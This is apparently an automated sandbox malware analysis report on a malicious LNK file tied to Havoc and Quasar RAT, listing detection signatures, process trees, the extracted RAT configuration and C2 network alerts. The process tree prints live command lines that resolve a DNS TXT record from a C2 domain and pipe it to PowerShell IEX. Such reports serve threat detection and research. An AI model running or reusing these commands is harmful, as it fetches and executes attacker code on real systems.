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Windows
Analysis Report
alyemenione.lnk
Overview
General Information
Detection
Havoc, Quasar
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Havoc
Yara detected Powershell download and execute
Yara detected Quasar RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Creates an autostart registry key pointing to binary in C:\Windows
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Loading BitLocker PowerShell Module
Performs DNS TXT record lookups
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: System File Execution Location Anomaly
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to simulate keystroke presses
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Process Start Locations
Sigma detected: SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7304 cmdline:
"C:\Window s\System32 \wscript.e xe" C:\Win dows\Syste m32\SyncAp pvPublishi ngServer.v bs "n;(Res olve-DnsNa me -Name e btxghggfv. cdn-stream ing.com -T ype TXT).S trings | I EX" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7352 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NonIntera ctive -Win dowStyle H idden -Exe cutionPoli cy RemoteS igned -Com mand &{$en v:psmodule path = [IO .Directory ]::GetCurr entDirecto ry(); impo rt-module AppvClient ; Sync-App vPublishin gServer n; (Resolve-D nsName -Na me ebtxghg gfv.cdn-st reaming.co m -Type TX T).Strings | IEX} MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7360 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7576 cmdline:
"cmd.exe" /c start " " "C:\Wind ows\Tasks\ 62rgx9T9MW .pdf" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - Acrobat.exe (PID: 7612 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\Acrobat .exe" "C:\ Windows\Ta sks\62rgx9 T9MW.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C) - AcroCEF.exe (PID: 7808 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ba ckgroundco lor=167772 15 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - AcroCEF.exe (PID: 8080 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --log-seve rity=disab le --user- agent-prod uct="Reade rServices/ 23.6.20320 Chrome/10 5.0.0.0" - -lang=en-U S --user-d ata-dir="C :\Users\us er\AppData \Local\CEF \User Data " --log-fi le="C:\Pro gram Files \Adobe\Acr obat DC\Ac robat\acro cef_1\debu g.log" --m ojo-platfo rm-channel -handle=20 80 --field -trial-han dle=1720,i ,181356083 2827388052 ,397706136 7603789960 ,131072 -- disable-fe atures=Bac kForwardCa che,Calcul ateNativeW inOcclusio n,WinUseBr owserSpell Checker /p refetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - winver.exe (PID: 7284 cmdline:
"C:\Window s\Tasks\wi nver.exe" cd394167-b e4e-4779-8 fcd-6d3374 e9bfcc MD5: 8FA52F316C393496F272357191DB6DEB)
- svchost.exe (PID: 7948 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Havoc | First released in October 2022, the Havoc C2 Framework is a flexible post-exploitation framework written in Golang, C++, and Qt, with agents called 'Demons' written in C and ASM, created by @C5pider. Designed to support red team engagements and adversary emulation, it offers a robust set of capabilities tailored for offensive security operations. The framework, which is under active development, utilizes HTTP(s) and SMB as communication protocols for its implants. Havoc can generate implants, known as Demons, in several formats including EXE, DLL, and Shellcode. A notable feature of Havoc is its ability to bypass EDR by employing advanced evasion techniques such as sleep obfuscation, return address stack spoofing, and indirect syscalls. This capability enhances its effectiveness in evading detection and circumventing security measures. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Quasar RAT, QuasarRAT | Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult. |
{"Version": "1.4.1", "Host:Port": "cdn-streaming.com:80;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "65768f90-1bce-4e20-baef-7e1bf22954c2", "StartupKey": "Quasar Client Startup", "LogDirectoryName": "Logs", "ServerSignature": "rhsyWXoCiIJqrBxv7EYv2tSZgcX2hjKLoCdYiML+ca1mXqlmVtNJyuT9Rk0P50Ok12L1D8piyRg2Co/HzYi3ewbIpj2xoYZH2zGIfcw9cVBbddymnDYZQdq71IY0WLI7R7niFAD8Q3cPut+n8JlfElcKf7vEhZc9KHoxNJRRO3w8AwxygZDvLijRkfOzhTvjEmOYYrPylIdVA9oUZtG1dvy9QMn++NILtdKoHpLK2SLuV+KtoWZPA24BoAfIyGdccDGlTS/0a/XNjsSAJpV5UG33hm9J9BOWnsfAP+RCjWYu15zLnpH4d9v3W66dpL4XKVxJK9AIBDv5jVcyzPkQ57GAFqASRXHSTsETrv2dhXqcVeId2NbqAzYr1IwH68kn+liigPdyXk2N6hAGvascuA0emdi6XRYiz1leWogvagJXtxT4dcLl/UIYIrwnDBMREICA9IWOIe8dzDGAIoyMQxgqfsZRCc3qL3HlAv4bkiWPk4lCyoWPTA31GPbGj3SpJvX6LkIk5LD3vTusnvU705K3V3kbiD1x7tDFADG3CU3LE0tkTQMsNG9uu6sVkrQGud/iVYFloYGhM7oOFnWm6gdSD5YN6tk+902mKUkYp5W32+f7V7jcFPnmdwICnS1ll/yG7NMta6eBTQtAnPHI2DUEUPbLME/o9lgBPmPIF5I=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAKiKPBvPlgeINAqKFVa9GTANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTIxMzIwMTUzNFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxiPDRYkAuLoLcoDIrzpsnMiPl58nKlO/Ht4U5uNtlOv6oSxcv1stTQi2PaMY4Nye3fiTfV/EeOomF4jU/C5X9N5a2YJQMZ13czLthq5NzgsVyPpP3LY54NzXB0f+qiTUHQkLucBWqF8895QRkoWeXx8ZzLA/iiN2ZQOkpT2SbFNWUq4jTwXUbvY65JnywiusY8wnH53ybJV1OhiWdRJ7C77xuI4wBynd3grcK2nHYgY5ALmPbRPgG4YZzvhknyWtlTZ/gEXVfDJF9laR0cESl1h3Q74J8uEJD8qEHHAJbAlaMDA1xndM4TfzdYgZGJDkZhTywhvjbdUcHb/Wjwq369avPwQZNcbgjqsCkWjibdE30CSvwzRVFMFL1+o9FnthTq0XLfllwrfv3biEPtvUokRz+SWxL/cm01yHReC4NcH1cDK83xOlpmHY3y+lSRp4qkImDtNN9jsSHJzSqOKz1N/ttZwPpaii8LesnktHcwWKCU9vrffvamvyCGzcQrLeX47bqOtxWo/ZALRxxMW3x1PDEn+2GqlMtcxEyh2B6GHrNG7jF5hGrOHUSHg+iLI8p9hvoq01VpfCn+Dn62g1BlCglvLibKJrKtFWm4dHnWrVHMLN3q756SGEhmpXsVD0YZ9oPX76yHRNFZbMI19it+MfVRvF6L4UvTn5bS7vjxcCAwEAAaMyMDAwHQYDVR0OBBYEFBurVOJdfxFNTMSxkxmn1crYwAPAMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAJX++sY5hBqHxVfcyMsAt839DuI9FxixiT5t8ba5sSvt/4wrMtiV2yEuywR1mkxcS4E7HnEPe9BfByUv97f2m05UhCx+HS5edM6hn7TrZrI0Vs4KhXl/WQqYRP8s017gBQad0Ac+aO5yntzJsz37znrc0nX8N7t6R7kgg+dHAqfVSZoTlyeCOidbiU6UkBpR816BZ4w8VmFHgO6TpxHzirIXiXOsFp53dX7GZbQEvTrWO9kkQF2iVITGo1OAYU045n+75rX5I6H63FRpvhK1JgFOfSjdwoVAtM2zX6bekQ8XY0kK3mFwwjEhTQEROTRMPNi4PxS+3WJ6tmIKebiKhnA/5AUJlL/cdKcz+KuLP0aowTPmlfCgtkHiWWuFRY2975sQ96ezAFFa/z0Wl2Bca/LJzNL39gki45jOFizPTmBOZ1rTge9SqCwO8QegjmJa1w8nScgMiP0b1JxuVoi6bKPEBaMg1xEkcUpT3ho+L9un4qHQE3fKS9Pd1lhI6PFOOS6bpQOCy+MH1TLlIxuKsA+KtXwqj4/rf4F1JI69wnxfz5ZnE/wSHJlsnahZ/J8DAu5bnz0RLPSrIo9Iu1liijsVj2lTKRRSO7vFkppEylivc04aDZtHV0Fwf9WrJz6XLzzwZgVptfOE9LO2WzuuTNFrLKQH/ZNhMDTZ/v0kFHVn"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Havoc_2 | Yara detected Havoc | Joe Security | ||
JoeSecurity_Havoc_1 | Yara detected Havoc | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
Click to see the 10 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
MAL_QuasarRAT_May19_1 | Detects QuasarRAT malware | Florian Roth |
| |
INDICATOR_SUSPICIOUS_GENInfoStealer | Detects executables containing common artifcats observed in infostealers | ditekSHen |
| |
MALWARE_Win_QuasarStealer | Detects Quasar infostealer | ditekshen |
| |
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
Click to see the 23 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: juju4, Jonhnathan Ribeiro, oscd.community: |
Source: | Author: frack113: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-18T23:07:28.872999+0100 | 2035595 | 1 | Domain Observed Used for C2 Detected | 37.1.223.28 | 80 | 192.168.2.4 | 49823 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-18T23:07:28.872999+0100 | 2027619 | 1 | Domain Observed Used for C2 Detected | 37.1.223.28 | 80 | 192.168.2.4 | 49823 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-18T23:06:08.403607+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49731 | 37.1.223.28 | 443 | TCP |
2024-12-18T23:06:10.454731+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49732 | 37.1.223.28 | 443 | TCP |
2024-12-18T23:06:17.821977+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49735 | 37.1.223.28 | 443 | TCP |
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Show All Signature Results
AV Detection |
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Source: | Malware Configuration Extractor: |